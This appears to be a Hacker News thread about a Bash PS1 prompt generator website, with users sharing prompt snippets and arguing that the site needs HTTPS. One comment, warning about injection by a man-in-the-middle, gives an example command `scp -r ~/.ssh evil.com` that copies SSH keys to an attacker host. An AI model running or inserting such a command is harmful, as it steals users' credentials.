22 ms·
Bash PS1 Generator
- tsavola 5y agoNo https.
- jacobmischka 5y agoWhile https is a good default, and LetsEncrypt has made it relatively trivial, I wouldn't say this particularly needs it; there isn't any user data at all. I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something, but this random site on the internet could do that on its own without being intercepted anyway.
- junon 5y ago> but this random site on the internet could do that on its own without being intercepted anyway. Who has more incentive to do so: the person that wants their site to have visitors, or a malicious attacker intent on MITM people in the first place? What a ridiculous defense of insecurity.
- tsavola 5y agoAlways having https removes the need to consider the security implications of unencrypted transport on case-by-case basis. I have been using HTTPS Everywhere extension and currently Firefox's HTTPS-Only feature in strict mode for a long time. Nowadays few links fail to work for me, so the failing ones stand out.
- chrismorgan 5y agoMe too. Out of curiosity, I also added a user style sheet (via Stylus) to mark HTTP links: :where(:link[href^="http:"])::after { content: " [http]"; color: red; text-decoration: none; } (I use the :where(…) wrapping so that any site actually trying to use :link::after for real stuff can override my styles without specificity conflicts.) It’s interesting especially to see how often https: sites have http: links to their own domain, which are just going to get redirected back to the https:. (The HN footer has the “Legal” and “Apply to YC” links being to http://www.ycombinator.com/ http://www.ycombinator.com/* for no good reason, a very similar case.) And how horribly many emails use http: tracking links, and how painfully many of those domains don’t speak HTTPS. HN’s front page normally has 0–2 out of 30 of the links being HTTP, almost always old domains. It’s fairly rare for a new site to go plain HTTP.
- dolmen 5y agoGreat trick.
- seanwilson 5y ago> I wouldn't say this particularly needs it; there isn't any user data at all. > I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something A hacked version doesn't have to return a variation of what's on the page already. There's lots of sneaky things you could return, like a malware download pretending to be a Bash PS1 setup script, a fake GitHub based sign-up to harvest login details, a payment form for a fake product, or a simple redirect to another malicious site.
- deleted 5y ago[deleted]
- st_goliath 5y ago> I wouldn't say this particularly needs it; there isn't any user data at all. I use NoScript. This page requires me to enable JavaScript for it to work. Because it doesn't use TLS, this allows any miscreant in the middle to injected JS doing god-knows-what into my browser. If you really insist (in this case IMO understandable) on having me download and run your program, written in a turing complete scripting language, please let me do so in a way where I can be sure it is actually your program (assuming I trust you that far; which for most people I don't, hence NoScript).
- recursive 5y agoBut no one is insisting.
- st_goliath 5y ago"It must turn on the JavaScript, or it gets the blank page again" - The Silence of the LAMPs -- https://en.wiktionary.org/wiki/insist#Verb https://en.wiktionary.org/wiki/insist#Verb Wiktionary is a website that has improved functionality after turning on JavaScript, but works just fine without it. It does not insist on using JavaScript. I guess what you actually mean is "no one is insisting on me looking at their website"? That would be true, but I don't recall making any contrary claims. If I do want to look at a website, the site insists on using JavaScript, but does not use HTTPS, that can be a security issue. That's what my original comment tries to point out.
- ddtaylor 5y ago> I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something, but this random site on the internet could do that on its own without being intercepted anyway. Those are two completely different attack surfaces. You should be able to trust a single site without having to trust every other hop on the Internet and a good reason why TLS should be used here.
- robinson-wall 5y agoThis is a website which serves the sole purpose of encouraging people to copy snippets of text and paste them into their terminal, and there are plenty of techniques that ensure what you see on the page isn't what gets into your clipboard.
- moomin 5y agoOr use starship...
- mzzter 5y agoWhat is starship? Edit: Found it, it’s a cross-shell prompt. Appears to require a binary install.
- voxadam 5y agohttps://starship.rs/ https://starship.rs/ https://github.com/starship/starship https://github.com/starship/starship
- manjana 5y agoThere is also powerline. https://github.com/powerline/powerline https://github.com/powerline/powerline
- nikolay 5y agoIt's too bloated. It has all kinds of built-in stuff with ugly defaults instead of just providing a framework with plugins.
- pletnes 5y agoIt can be configured and the default has to be something. The main problem is that it’s just too slow, at least in my experience. Even stripped of some bloat it can take >1s to get the prompt printed. Not worth it, at all.
- Zababa 5y agoNice, but there is a bug: if you add @ and then remove it, the @ still stays.
- llarsson 5y agoLovely idea! Now please add some examples, so it's easier to get started with something to modify. :)
- Zhyl 5y agoNotes: * As an idea, this is excellent. It's intuitive to use and provides full instructions on how to implement * Putting an element in any other position than the end of the prompt is fiddly. * I'd love for the option to to be able to colour elements. * More advanced or exotic element types such as Git Branch would be excellent (Not sure if Bash supports this, but I've seen it in some shells)
- phit_ 5y agodouble click an element to change the color
- Zhyl 5y agoAha! Thank you!
- dopidopHN 5y agoBash do support git branch name and whatnot. That what got me into PS1 customization.
- dolmen 5y agoSee also: * LiquidPrompt [0] (I'm a former maintainer) * angel-PS1 [1]: my pet project. Shell prompt code is generated at startup time from Perl code, and uses a Perl angel (not daemon) to get system information. [0] https://github.com/nojhan/liquidprompt https://github.com/nojhan/liquidprompt [1] https://github.com/dolmen/angel-PS1 https://github.com/dolmen/angel-PS1
- Jenk 5y agoFor the manual approach, git provides a shell script to generate the env var __git_ps1 for this very purpose.[1] [1]: https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Bash https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-En...
- cghendrix 5y agoVery cool, had no idea!
- makach 5y agoLOVELY. Thank you.
- nickdothutton 5y agoA wonderful fusion of Web and CLI. I think this hybrid could be a rich seam.
- ddtaylor 5y agoNormally I don't post much about how a site should use HTTPS on HN, but for this specific instance I think it's important.
- teknopaul 5y agowhy?
- roboticmind 5y agoI assume they are saying that because you wouldn't want something where someone could do a MITM and insert arbitrary bash commands through $() or other similar things
- chrisshroba 5y agoIf the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.
- ddtaylor 5y agoIt's also possible to hide the characters entirely so they don't appear visually but are part of the clipboard.
- freedomben 5y agoI agree. If the maintainer is here, you can use certbot to add HTTPS easily on your existing Apache 2/Debian stack. If you're on Stretch or Buster the official instructions are the same: https://certbot.eff.org/lets-encrypt/debianstretch-apache https://certbot.eff.org/lets-encrypt/debianstretch-apache One note: I hate snaps and don't use them personally, but it would make it very easy for you to add HTTPS without changing your existing stack.
- dom111 5y agoI've made something similar to this too, I wanted to be able to change the colours and preview so it ended up being a bit of a rabbit hole, but was fun! https://dom111.github.io/bash-ps1/ https://dom111.github.io/bash-ps1/
- nailer 5y agoHere's what I'm currently rocking: 0 0:00:00 ~/Code/company/app$ First number is exit code of previous command, second is how long it took. Credit to https://unix.stackexchange.com/questions/252229/ps1-prompt-to-show-elapsed-time https://unix.stackexchange.com/questions/252229/ps1-prompt-t... for the last part. It's a bit ratchet: - I actually don't care about the exit code unless it was non-zero - It calculates the delta three times but I've been to busy to optimise it. prompt_command() { _PS1_now=$(printf '%(%s)T') PS1=$( printf "\n\$? \[\e%02d:%02d:%02d \n\[\033[01;34m\]\w\[\033[00m\]\$ " \ $(( ( _PS1_now - _PS1_lastcmd ) / 3600)) \ $(( (( _PS1_now - _PS1_lastcmd ) % 3600) / 60 )) \ $(( ( _PS1_now - _PS1_lastcmd ) % 60)) \ ) _PS1_lastcmd=$_PS1_now } PROMPT_COMMAND='prompt_command' _PS1_lastcmd=$(printf '%(%s)T')
- mmphosis 5y agoHere's what I'm currently rolling: $ A colorful prompt appears, only when 'user or hostname or path' changes, or after certain commands: - username@hostname:pwd $ Somewhere in .bash_aliases ... ### PROMPT ### ### long prompt (in color) only when 'user or hostname or path' changes, or after certain commands prompt_command () { local -a a; local last_cmd; IFS=' ' read -r -d '' -a a < <( history 1 ); last_cmd="$(printf "%s" "${a[1]}"|xargs -0)"; if [ "$USER_HOSTNAME_PWD" != "$USER@$HOSTNAME:$PWD" ] || [[ " cd src doc ssh sudo su login $(sed -e '/^#.*$/d' -e '/^$/d' -e 's@^.*/@@' /etc/shells|uniq|xargs) " == *" ${last_cmd} "* ]]; then USER_HOSTNAME_PWD="$USER@$HOSTNAME:$PWD"; echo -e "\\e7\\e(B\\e[m- \\e[3$((($(id -u) != 0) + 1))m${USER}\\e(B\\e[m@\\e[35m${HOSTNAME%%.*}\\e(B\\e[m:\\e[36m${PWD/#$HOME/\~}\\e8"; fi } -() { unset USER_HOSTNAME_PWD } PROMPT_COMMAND=prompt_command PS1='$ ';[ "$(id -u)" -eq 0 ] && PS1='# '
- euske 5y agoI think the drag-n-drop UI is less intuitive. Wasted a few minutes trying to click these items as "buttons" and wondering if there's something wrong because of the http-onlyness of the site (console gives a lot of warning).
- _kblcuk_ 5y agoYea, why not just have "double-click" as "add this element to the end of input".
- igetspam 5y agoThank you for that. I've been clicking and thought it was broken.
- alias_neo 5y agoShame is not single click, I thought it was broken on mobile because nothing happened when I click, then I knew it doesn't work on mobile when I realised it's drag and drop.
- MichaelMoser123 5y agocurrent git branch is missing (helps me to avoid working on the wrong branch). (tried to do it with colors, but things got too messy). I never managed to work with colors in bash propmts; they look different on each environment. parse_git_branch() { git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/' } PS1="[\u@\h \W\$(parse_git_branch)]\$ "
- sirn 5y agoYou might want to use `git rev-parse --abbrev-ref HEAD` or `git name-rev --name-only HEAD` instead of `git branch`. Plumbing commands (such as rev-parse or name-ref) are generally more interface-stable to use in a script than porcelain commands (such as git branch) which are designed for interactive use where output may change depending on user environment and configuration.
- MichaelMoser123 5y agomakes sense. thanks!
- NegativeLatency 5y agoI’ve heard this advice given before and initially followed it but ‘git branch’ and parsing the output works in a few cases (I don’t recall what they are at this time) that less hackey approaches don’t.
- sirn 5y agoI think that might be `git symbolic-ref` which doesn't work in detached HEAD state (e.g. when checking out a commit) whereas `git rev-parse --abbrev-ref` will print "HEAD". On the other hand, `git name-rev` will try to find the nearest named ref (including tags) and how far HEAD is from that named ref (e.g. master~1). Internally, symbolic-ref resolve the ref in the same way as git branch, just without handling detached HEAD. __git_ps1 use a combination of rev-parse, symbolic-ref and git describe to provide a more interesting output for displaying state of the working directory. To have the similar output for detached HEAD as git-status (e.g. "HEAD detached at fa0c4e1") then probably `git rev-parse --abbrev-rev` and `git rev-parse --short` should be used together. Unfortunately, while rev-parse can print multiple output in a single command, abbrev-rev and short cannot be used together. In such case, parsing `git status` might indeed be more suitable as it spawn only one executable instead of two. Some porcelain commands do have --porcelain flag to ensure the stability of the interface, though (e.g. `git status --porcelain=v1`).
- Hypergraphe 5y agoCool
- graton 5y agoSomewhat related to PS1 is PS4 in bash. Make your trace output more useful/verbose in your scripts: set -x export PS4='+ ${BASH_SOURCE:-}:${FUNCNAME[0]:-}:L${LINENO:-}: ' This will print the filename, function name, line number, and line content during execution.
- formerly_proven 5y agoIn case someone wonders, this does retain the repeated "+" to indicate call depth: "The first character of PS4 is replicated multiple times, as necessary, to indicate multiple levels of indirection." -- this is an important feature when working on large-ish (1-10+k LoC) scripts, which end up having very deep call stacks and a flat trace output would be completely inscrutable.
- Xophmeister 5y agoIf you have 10k LoC Bash scripts, then you’ve got bigger problems!
- jethro_tell 5y agoI've run the bash 10k and all I got was this shirt!
- formerly_proven 5y agoOverall it's more like 150k LoC or something like that (split into the classic three layer architecture: "scripts", "library" and "more scripts on top"). It does work though. Much better than you'd expect from hearing "tens of thousands of lines of shell".
- hughrr 5y agoAm I the only one who leaves mine as is?
- wcchandler 5y agoI do for my linux systems, but I now have to use a Mac for work and can't stand the default. Happy to use this tool to spitball something new.
- circularfoyers 5y agoDo you use Linux as your main OS on your desktop or laptop. If so, how much do you use the terminal and what for?
- hughrr 5y agoI use a Mac connected to various Linux nodes via ssh. Development and sysadmin work.
- dolmen 5y agoWell, the default prompt you have may already have been customized by operating system vendor (Linux distro) and not be the real bash default. Try this to get the real default: PS1='[\u@\h \W]\$ '
- jethro_tell 5y agoPS1='$ ' or PS!='# '
- wsc981 5y agoI've found having my current git branch shown in my prompt is extremely useful to prevent committing on the wrong branch. YMMV.
- hughrr 5y agoThat’s pretty handy actually. Thanks for the idea.
- gigatexal 5y agoamazing. does something similar exist for ZSH?
- dtx1 5y agohttps://github.com/spaceship-prompt/spaceship-prompt https://github.com/spaceship-prompt/spaceship-prompt
- timothylaurent 5y agoOr just use https://starship.rs/ https://starship.rs/ for any shell
- tyingq 5y agoWas expecting this: ________________ | |," `.| | SgH | / SONY \ | |O _\ /> /_ | ___ _ |_(_)'.____.'(_)_| (")__(") [___|[=]__[=]|___] // \\
- pkdpic_y9k 5y agoomg yes : )
- Greg_hamel 5y agoSame.
- queuebert 5y ago(ノ°Д°)ノ︵ ┻━┻
- the__prestige 5y agoOn the site all prompt variables end in "tput sgr0". I haven't seen that before. What does that do and why is it needed?
- whelming_wave 5y ago`tput sgr0` reads terminfo to find out how to issue a command which resets all currently set colors, text properties, and so on, then resets them. A lot of people will do something like `echo -e '\E[32;46m'`, but that's arguably more opaque and definitely not portable across terminals. tput is a neat command that I wish got used more! I also use `tput cnorm` to ensure the cursor is visible.
- sirn 5y agotput query a terminfo database and return an escape code suitable for that $TERM. sgr0 is the name for "reset" (e.g. "\033[0;10m" in ANSI). Using tput instead of escape code directly is better in a lot of ways. For example, it allows the shell script to be adaptive to the type of TERM it runs on (e.g. not outputting color codes at all if TERM doesn't support colors). You can see what each tput commands are doing by running infocmp. Most TERM implement ANSI-compatible escape codes, but may prefer other escape codes for the same effect (e.g. try comparing `infocmp -1 ansi` and `infocmp -1 xterm` and `infocmp -1 screen`). You can see the entire list of these commands in terminfo(5) (`man 5 terminfo`) in Predefined Capabilities section.
- dolmen 5y agotput uses the terminfo database which is usually located in /usr/share/terminfo. If your terminal ($TERM) is not known to the operating system, you can also import the terminfo definition from another OS in a directory and point the TERMINFO environment variable to it (useful if the legacy OS you connect to via SSH doesn't have full support for your fancy terminal emulator).
- mixmastamyk 5y agoOthers explained why. But, it’s not really been necessary since maybe the early 90s, unless you have hardware terminals around? It’s more efficient to echo CSI 0m, in shell than to run another process to do the same. Every mainstream terminal supports it.
- gumby 5y agoI love the irony of using a GUI tool to create a prompt for a shell.
- IgorPartola 5y agoI think that says something about the bash PS1 syntax.
- dolmen 5y agoWell, I'm using Perl to generate PS1 (for bash and most other Unix shells). https://github.com/dolmen/angel-PS1 https://github.com/dolmen/angel-PS1
- nobody9999 5y agoI've been using this for years (output of 'echo $PS1' ): [\e[1;33m\u\e[1;32m@\e[1;31m\H \e[1;36m\t\e[0m] [\e[1;35m\w\e[0m](\e[1;32m\#\e[0m )\n$ which presents as: [User@HOST 10:21:07][~](2) $ (Username, hostname, 24 hour local time, CWD, history count, newline, prompt) More detail from my .bashrc: # Define some colors first: red='\e[0;31m' RED='\e[1;31m' blue='\e[0;34m' BLUE='\e[1;34m' cyan='\e[0;36m' CYAN='\e[1;36m' green='\e[0;32m' GREEN='\e[1;32m' NC='\e[0m' # No Color yellow='\e[0;33m' magenta='\e[0;35m' YELLOW='\e[1;33m' MAGENTA='\e[1;35m' export PS1="[${YELLOW}\u${GREEN}@${RED}\H ${CYAN} \t$NC][${MAGENTA}\w$NC](${GREEN}\#$NC)\n\$ " I define the colors as it makes it easier to modify PS1 when the spirit moves me. I guess using a generator or toolkit could be useful, but I tweaked mine over the years and prefer it just this way. Edit: I forgot to mention that I use different colors for user vs. root prompts, as that gives immediate visual confirmation of privilege level.
- _eigenfoo 5y agoWhat do you use the history count for?
- compressedgas 5y agoThat tells one the index to use for !N to repeat that command !! repeats the last command !N repeats the command with that index in the history
- nine_k 5y agoI usually place the time at the beginning. Another thing to place at the beginning is a (red) exit code of the last command, when that code is not 0.
- BearOso 5y agoYou need to add some \[ and \] around the escape codes to tell the shell they’re non-printing characters. Otherwise, things like line-wrapping don’t work right. It’s not a problem because of your \n makes it irrelevant, but just a heads up for the future.
- yboris 5y agoMy favorite is to have bash start with 3 random emojis. Feels like a little haiku. https://github.com/whyboris/dotfiles/blob/master/.bashrc https://github.com/whyboris/dotfiles/blob/master/.bashrc
- throwmemoney 5y agoWhat is the best way to have the long directory line above the prompt? Using PS2 or PS3?
- nine_k 5y agoSomething like "\w\n\$ " should work; mine is more complex by the idea holds, you can have a \n in your PS1 just fine.
- geraldcombs 5y agoI'm not a fan of multiline prompts but I do like knowing where I am, so I trim the path and prepend a "…" character.
- spicybright 5y agoAll this stuff is easy to remember. I want colors so bad. You could even have colors be containers you put other elements inside to make it easier to visualize
- chrisspyb 5y agoIt has colors - double click on an element after dragging it into "your selection"
- diroussel 5y agoUse https://starship.rs/ https://starship.rs/ abs get the same prompt in all your shells. Also it’s written in rust, so it’s faster than a load of bash scripts.
- villasv 5y agoAbsolutely a quality of life tool. Very few excuses left to put up with zsh + Oh-My-Zash.
- cbsmith 5y agoI mean, the other alternative is just keep your prompt simple. ;-)
- queuebert 5y agoThis. The one time a month when I can't remember which git branch I'm on I'll just run 'git branch'. If you're feeling frisky, you could even alias that to 'gb'.
- rmetzler 5y agoOne time a month? Currently I have 85 work related repositories checked out, putting the current git branch and current Kubernetes context in the prompt is helping to avoid mistakes. I also have a newline in my prompt which makes it easier to copy commands and output into Jira.
- sharken 5y agoPowerShell uses the PS1 extension for it's script files and is also available for Linux for added confusion. Apparently the extension PS1 is a reference to PowerShell 1.0.0, thankfully Microsoft did not increase the number. Source https://github.com/PowerShell/PowerShell/issues/2013 https://github.com/PowerShell/PowerShell/issues/2013
- scbrg 5y agoWhy would you export PS1? Seems like unnecessarily cluttering the environment of child processes.
- arendtio 5y agoWhat is wrong with the above comment (it got downvotes)? Isn't it correct? I mean, sure, we are talking shell here, so who cares about efficiency, but I don't see the benefit of using export either.
- scbrg 5y agoThank you :-) To elaborate, when I say "cluttering," it's not really performance I'm after. Of course I realize that yet another small key value pair in a hashmap matters very little. Rather, I'm thinking in terms of debugging and - worst case - weird side effects. When I debug something I'm not helped by the environment being filled with unnecessary crap, in much the same way I don't particularly declare a bunch of irrelevant global variables in my programs. In the worst case, a leaking environment may cause problems. What if another interactive shell process is spawned by a sub shell, and suddenly your prompt that queries your mail server, double checks if there's new stuff in GitHub, fetches the next ten days' weather and renders hamsterdance in your prompt using a hacked font or whatever is inherited (except that now maybe it runs as root). Unlikely? Yeah, sure. Still unnecessary. In the end though, I suspect many people just aren't aware of the difference between exporting a variable and not, and somehow think that "to declare a variable in a shell you must type export".
- MontagFTB 5y agoI don’t see a ‘#’ option there. It’s a valuable command line inclusion to keep copypasta from executing something you may not intend. Also, the ability to check what branch I’m in (assuming cwd is in a git repo) is a useful prompt inclusion.
- drivers99 5y agoSeeing '>' as an option makes it somewhat relevant to mention here: I'd recommend not ending your prompt with a '>' character (as you'd see in DOS/Windows a lot, which might make it seem like a nice option). If you accidentally copy and paste your prompt with a command after it, (which is easy to do with a couple mouse clicks, or if you forget what's in your clipboard after copying some lines from your terminal,) the first thing after the > sign is the file for a script or executable and you will truncate the file (make it 0 bytes). This can be especially bad if you're root at the time. (That makes # as a root prompt especially a good idea.)
- deleted 5y ago[deleted]
- tyingq 5y agoMaybe >(Unicode 0xFF1/>) would be a good substitute? Side by side: >>
- TremendousJudge 5y agothat seems like asking for trouble
- wodenokoto 5y agoJapanese has a few brackets that might be useful but less easy to confuse. Here’s a few the IME on my phone suggested (the middle ones are the same as yours as far as I can tell): 〉> > ≫ 》
- chrissnell 5y agoTerminal app feature idea: a hotkey that puts the last command run in the copy buffer
- dllthomas 5y agofunction copy_last_command { history 1 | sed 's/ [0-9]* //' | xclip -i } bind -x '"\C-h":copy_last_command'
- tines 5y agoI think there's a bug, at least in Firefox. When you drag to remove an element from the currently active set, the "sample output" only updates after making _another_ change. So if you drag to remove two elements one-at-a-time, the "sample output" will lag one action behind what you have in the workspace.
- jedimastert 5y agosnippet in my PS1 to get the current git branch: $(git branch | grep ^* | colrm 1 2) You could use $(git branch --show-current) but if the head is detached it won't show anything
- wyuenho 5y agoJust use starship.rs
- kstrauser 5y agoI was moved to experiment with Fish shell one day, and wanted to see how to set my prompt. Answer: you create a function named `fish_prompt` that uses regular shell commands like `echo` (and fish's own `set_color`) to imperatively build the prompt. Want to make a right-hand prompt for something like the current time? Write a function named `fish_right_prompt`. For example, here's mine: function fish_right_prompt --description 'Write out the right prompt' set_color 666666 date +'%Y-%m-%d %H:%M:%S' set_color normal end I was sold. I'm never, ever going back to futzing around with a bunch of complex $PSx variables when I can just write a function that does the right thing.
- dllthomas 5y agoNote that in bash there is the PROMPT_COMMAND variable, which runs before the prompt is printed and which can be used to print things and to set PS1 if you want more dynamism than bash more directly affords.
- dllthomas 5y agoFor a "right prompt" showing the time in particular, though acknowledging it'll get overwritten if you're writing a long command (which may or many not be what you want), running `printf "%${COLUMNS}s" "$(date)"` from PROMPT_COMMAND does the trick.
- dllthomas 5y agoI prefer ${PIPESTATUS[*]} to $?; much more informative (when there's a difference).
- arendtio 5y agoYou think your prompt is too fast? Just add some HN style to it: PS1="\$(curl -fsL https://news.ycombinator.com/user?id=USERNAME | awk 'x==1 {print \$1; x=0}; /karma/{x=1};') $PS1" Replace USERNAME with your HN nick and always have your karma at your fingertips ;-) PS: This is a really bad idea...
- rexf 5y agoI've seen many similar PS1 generator sites over the years. Building a weekend project is great. I built one in 2012 http://xta.github.io/HalloweenBash/ http://xta.github.io/HalloweenBash/ with drag and drop. I think there is room for someone to create a site to generate PS1 for zsh (since macOS comes with zsh now).
- Seb-C 5y agoMy customized PS1 only contains the current path. Additionally, I have used git-prompt as PROMPT_COMMAND for a long time, and it's certainly the most useful piece of information.
- aaronchall 5y agoI wrote my PS1 in Python once, but on review it turned out much better to have it completely in shell: set_PS1() { local RESET=$(tput sgr0 ) local BOLD=$(tput bold ) local RED=$(tput setaf 1 ) local GREEN=$(tput setaf 2 ) local YELLOW=$(tput setaf 3 ) local BLUE=$(tput setaf 4 ) local MAGENTABG=$(tput setab 5 ) local CYAN=$(tput setaf 6 ) local WHOAMI='\u' local WHERE='\w' local HOSTNAME='\h' local DATE='\D{%Y-%m-%d %H:%M:%S}' local LAST_RET='${?#0}' local LINE_1="$YELLOW$DATE $GREEN$WHOAMI$RED@$CYAN$HOSTNAME $BLUE$BOLD$WHERE$RESET" local LINE_2="\\[$MAGENTABG\\]$LAST_RET\\[$RESET\\]"'\$ ' PS1="$LINE_1\n$LINE_2" unset -f set_PS1 } set_PS1 sauce: https://codereview.stackexchange.com/q/174019 https://codereview.stackexchange.com/q/174019
- Liskni_si 5y agoAnother useful thing to have in one's PS1 is an optional newline if the last output didn't print one itself. Turns out this is non-trivial to get working perfectly (https://stackoverflow.com/questions/19943482/configure-shell-to-always-print-prompt-on-new-line-like-zsh https://stackoverflow.com/questions/19943482/configure-shell..., https://work.lisk.in/2020/11/20/even-faster-bash-startup.html#update-1-why-not-fix-typing-before-the-prompt-instead https://work.lisk.in/2020/11/20/even-faster-bash-startup.htm...). The version that I've been using for a while without problems is this one: function __col1_ps1 { [[ $MC_SID ]] && return local termios cur_y # ask the terminal for any pending (line buffered) input termios=$(stty --save) && stty -icanon && stty "$termios" # if there's pending input, assume it's been echoed and we're not in first column # otherwise ask the terminal for current column and read it from input if read -t 0 || { IFS='[;' read -s -r -d'R' -p$'\033[6n' _ _ cur_y && [[ $cur_y != 1 ]]; }; then echo $'\001\033[41m↵\033[m\002\n\001\r\002' fi } PS1='$(__col1_ps1)<the rest of my prompt>' My full prompt is here: https://github.com/liskin/dotfiles/blob/9785740f7f97d7da1f847053fb29fc5a3174d075/.bashrc.d/20_prompt.sh#L10-L27 https://github.com/liskin/dotfiles/blob/9785740f7f97d7da1f84...